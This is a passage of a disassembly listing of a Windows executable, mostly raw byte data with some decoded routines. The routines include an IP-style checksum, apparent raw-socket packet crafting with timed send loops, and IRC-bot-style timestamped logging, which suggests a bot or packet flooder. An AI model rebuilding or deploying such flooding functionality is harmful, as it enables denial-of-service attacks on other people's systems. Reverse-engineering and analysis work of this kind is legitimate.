		dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h
		dd 7415FF52h, 68004CAFh, 12345678h, 0E8458966h,	0AF7015FFh
		dd 4589004Ch, 44858DECh, 68FFFFFEh, 42AB7Ch, 77EEE850h
		dd 85590000h, 97459C0h,	0C6F05D89h, 0EB02F545h,	44858D5Ch
		dd 68FFFFFEh, 42A9B8h, 77CEE850h, 85590000h, 97459C0h
		dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9B0h
		dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h
		dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h,	1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4CAF74h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	7415FF06h
		dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
		dd 8147E8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh
		dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h,	66FFFF6Ah
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4CAFD815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 0C15FFFCh, 0FF004CB0h, 4CAF0815h,	858D5000h
		dd 0FFFFFDC4h, 500875FFh, 435DD468h, 0C0858D00h, 68FFFFFBh
		dd 200h, 76E6E850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
		dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 19E85359h
		dd 90022ABDh, 0FFFC75FFh, 4CB00C15h, 8458B00h, 0C06BD233h
		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 435D8468h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h
		dd 90535959h, 2ABC87E8h
		db 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_4143A5
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414397:				; CODE XREF: ___:0041439Fj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414397
		pop	edi
		cmp	eax, 1


loc_4143A5:				; CODE XREF: ___:0041438Bj
		jnz	short loc_4143B2
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_4143B2:				; CODE XREF: ___:loc_4143A5j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
byte_4143CB	db 55h			; DATA XREF: sub_401ACD+6D49o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 737Dh, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 5EB068FFh, 0E8500043h
		dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh
		dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
		dd 6F98E8F0h, 5959FFFFh, 0BB7EE856h, 5590022Ah,	0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270A8h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 0AFF415FFh, 4589004Ch, 50D6FFF8h
		dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h
		dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 0A4E89000h, 2B0225C6h
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4CE7281Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 707Ch, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4CAF18h, 0FF68h, 0E8016A00h,	4150h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	42D57068h
		dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh,	868FFFFh
		dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4CAFB4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4CAF74h, 0AE458966h, 7345E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h,	66000073h
		dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h
		dd 7301E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 69D0E9E8h,	89669071h, 0FFFF5E85h, 60858DFFh
		dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4CAFD815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 0B00C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_4146CE	dw 8B55h		; DATA XREF: sub_401ACD+4CBFo
		dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	435EE4h, 7160E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h,	0C483FFFFh
		dd 90006A14h, 2AB8BBE8h, 0EC8B5502h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4CAFF415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 4360D4h, 710CE850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF54h, 75FFF883h, 815FF0Eh
		dd 50004CAFh, 43608468h, 8D1BEB00h, 0FF500C45h,	4CAFB415h
		dd 0FFF88300h, 15FF2075h, 4CAF08h, 60406850h, 858D0043h
		dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 7415FF00h,	66004CAFh, 8DDE4589h, 0E8500C45h
		dd 7169CB00h, 0A8358B90h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 601468FFh, 0E8500043h, 706Ah
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4CE7283Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4CAF18h, 0E8016A53h, 3DD4h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	0D57068ACh
		dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE10868h
		dd 0CDE85000h, 59000075h, 5C65659h, 4CE308h, 7415FF45h
		dd 66004CAFh, 4CE30AA3h, 0AC458D00h, 5C76650h, 4CE30Ch
		dd 89660001h, 4CE30E3Dh, 1005C600h, 80004CE3h, 0E31105C6h
		dd 6611004Ch, 0E3123D89h, 15FF004Ch, 4CAFB4h, 4CE314A3h
		dd 0E0458B00h, 4CE318A3h, 8C858D00h, 50000000h,	223D8966h
		dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6E10E8h, 0FF505900h
		dd 4CAF7415h, 1EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h
		dd 0F7000004h, 158966F9h, 4CE31Ch, 0AF7415FFh, 68004Ch
		dd 66000004h, 4CE320A3h, 6F3CE800h, 0F7990000h,	246852FBh
		dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h
		dd 4CE308h, 0FFF475FFh,	4CAFD815h, 0FFF88300h, 0A5840Fh
		dd 45FF0000h, 0A8E890FCh, 2B0225C1h, 0D233F845h, 3E8B9h
		dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 0C15FFF4h, 8B004CB0h,	858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6D59h, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FB068h
		dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4CAF0815h, 458D5000h, 2468500Ch,	0EB00435Fh
		db 0ACh
byte_414A91	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6361o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h
		dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4CAFB415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 610068FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h,	0FFFFFBECh
		dd 67AE850h, 75FF0000h,	68D8E8F0h, 5959FFFFh, 0BDE89056h
		dd 5F022AB4h
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_414B6E
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_414C2A
; ---------------------------------------------------------------------------


loc_414B6E:				; CODE XREF: ___:00414B58j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CAF1C
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CAF5C
		test	eax, eax
		jnz	short loc_414BD2
		or	eax, 0FFFFFFFFh
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------


loc_414BD2:				; CODE XREF: ___:00414BCBj
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_414BDD


loc_414BD9:				; CODE XREF: ___:00414BFDj
					; ___:00414C21j
		mov	eax, edi
		jmp	short loc_414C2A
; ---------------------------------------------------------------------------


loc_414BDD:				; CODE XREF: ___:00414BD7j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_414BFF
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426756
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_414BD9


loc_414BFF:				; CODE XREF: ___:00414BECj
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		nop
		call	near ptr 71AB4122h
		cmp	eax, edi
		jz	short loc_414BD9
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax


loc_414C2A:				; CODE XREF: ___:00414B69j
					; ___:00414BD0j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 0AEE8EC45h, 90716A0Dh,	6AEC4D8Dh
		dd 26A5104h, 98A35053h,	0FF004CE7h, 4CAF5415h, 0A8358B00h
		dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h,	0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 7415FF50h
		dd 53004CAFh, 26A016Ah,	66858966h, 0FFFFFFFFh, 4CAFF415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B00C15FFh, 5D39004Ch
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 0E79CBF83h, 2C68004Ch, 570042CAh,	6A85E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 2C685750h, 57004361h, 0E8F04589h,	6A46h
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h
		dd 4CAF7415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4CE738h, 6717E8h, 0FFFFBE00h
		dd 5C60000h, 4CE738h, 685645h, 0C6000004h, 4CE74105h, 5C60600h
		dd 4CE739h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAF74h
		dd 0A366286Ah, 4CE73Ch,	0AF7415FFh, 0D80004Ch, 4CE740h
		dd 281D39FFh, 66004CE7h, 4CE73AA3h, 1D896600h, 4CE73Eh
		dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h,	0C1084D8Bh
		dd 0CE2310E0h, 0BEBC10Bh, 4CE10868h, 0B415FF00h, 0A3004CAFh
		dd 4CE744h, 6808458Bh, 4000h, 4CE748A3h, 591D8800h, 0FF004CE7h
		dd 4CAF7415h, 66535600h, 4CE75AA3h, 3762E800h, 0F88B0000h
		dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AF7015FFh
		dd 50A3004Ch, 0A0004CE7h, 4CE758h, 24087D8Bh, 6A500C0Fh
		dd 0E758A214h, 8B66004Ch, 1D89F045h, 4CE754h, 5E1D8966h
		dd 66004CE7h, 4CE74EA3h, 743D8900h, 88004CE7h, 4CE7781Dh
		dd 7905C600h, 6004CE7h,	0AF7415FFh, 0A366004Ch,	4CE77Ah
		dd 0E74EA166h, 0C766004Ch, 4CE76005h, 89000200h, 4CE7643Dh
		dd 62A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
		dd 53562F75h, 36CBE8h, 50595900h, 0AF7415FFh, 0A366004Ch
		dd 4CE74Ch, 4CE744A1h, 0E770A300h, 5C6004Ch, 4CE759h, 541D8902h
		dd 0EB004CE7h, 0C653561Fh, 4CE75905h, 95E81000h, 59000036h
		dd 15FF5059h, 4CAF74h, 0A3C0B70Fh, 4CE754h, 3C05FF66h
		dd 0FF004CE7h, 4CE75005h, 4EA16600h, 6A004CE7h,	4CBE5905h
		dd 0BF004CE7h, 4CE77Ch,	421D8966h, 66004CE7h, 0E75C1D89h
		dd 146A004Ch, 38BEA5F3h, 66004CE7h, 4CE762A3h, 25E85600h
		dd 6AFFFF5Ch, 0E7706820h, 0A366004Ch, 4CE742h, 0FF5C13E8h
		dd 10C483FFh, 0E75CA366h, 106A004Ch, 4CE76068h,	286A5300h
		dd 9835FF56h, 0FF004CE7h, 4CAFD815h, 0FC45FF00h, 0FFFC7D81h
		dd 0F000003h, 0FFFF238Ch, 0BAFDE8FFh, 2B900225h, 0D233F445h
		dd 3E8B9h, 3BF1F700h, 0E770C45h, 0E81075FFh, 224B4A1h
		dd 0FDC2E990h, 5E5FFFFFh, 4CE79CB8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150B4	proc near		; CODE XREF: sub_401ACD+71FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43D130
		mov	edi, 0B8h


loc_4150C8:				; CODE XREF: sub_4150B4+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4150EB
		push	[ebp+arg_0]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4150EB
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43DCB0
		jl	short loc_4150C8
		jmp	short loc_41512D
; ---------------------------------------------------------------------------


loc_4150EB:				; CODE XREF: sub_4150B4+17j
					; sub_4150B4+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43D130[esi]
		push	ebx
		call	sub_41B590
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41B5F0
		push	9Fh
		lea	eax, dword_43D148[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41B5F0
		add	esp, 24h
		inc	dword_429230
		pop	ebx


loc_41512D:				; CODE XREF: sub_4150B4+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4150B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415134	proc near		; CODE XREF: sub_401ACD+28DDp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_436148
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43D130


loc_41515E:				; CODE XREF: sub_415134+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415199
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_436134
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41B980
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch


loc_415199:				; CODE XREF: sub_415134+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43DCB0
		jl	short loc_41515E
		pop	edi
		pop	esi
		leave
		retn
sub_415134	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AC	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 27501DDh
		mov	ebx, offset dword_4D2B9C
		mov	edi, 80h
		mov	esi, offset dword_4CEB9C


loc_4151CE:				; CODE XREF: sub_4151AC+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_4151E5
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_4151E5:				; CODE XREF: sub_4151AC+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_4151CE
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415220	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_402077p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41C190
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		leave
		retn
sub_415220	endp


; =============== S U B	R O U T	I N E =======================================



sub_41524C	proc near		; CODE XREF: sub_401ACD+27D4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CEB9C
		xor	ecx, ecx


loc_415253:				; CODE XREF: sub_41524C+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D2B9C
		jl	short loc_415253
		cmp	[esp+arg_C], ecx
		jnz	short loc_415281
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_436194
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_415281:				; CODE XREF: sub_41524C+19j
		push	offset dword_436180
		call	sub_4151AC
		pop	ecx
		retn
sub_41524C	endp

; ---------------------------------------------------------------------------
byte_41528D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2887o
; ---------------------------------------------------------------------------
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_4152E0
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_4361C4
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h


loc_4152E0:				; CODE XREF: ___:004152C0j
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415300
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415300
		mov	[ebp-8], eax


loc_415300:				; CODE XREF: ___:004152E7j
					; ___:004152FBj
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CEB9C


loc_415309:				; CODE XREF: ___:00415361j
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415363
		cmp	byte ptr [esi],	0
		jz	short loc_415352
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415338
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415338
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_418086
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415352


loc_415338:				; CODE XREF: ___:0041531Dj
					; ___:00415323j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h


loc_415352:				; CODE XREF: ___:00415314j
					; ___:00415336j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D2B9C
		jl	short loc_415309


loc_415363:				; CODE XREF: ___:0041530Fj
		lea	eax, [ebp-31Ch]
		push	offset dword_4361A8
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_41539D
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409A72
		add	esp, 14h


loc_41539D:				; CODE XREF: ___:0041537Bj
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 46h, 0ACh
; ---------------------------------------------------------------------------
		sub	al, [edx]
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153BC	proc near		; CODE XREF: sub_401ACD+734Fp

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
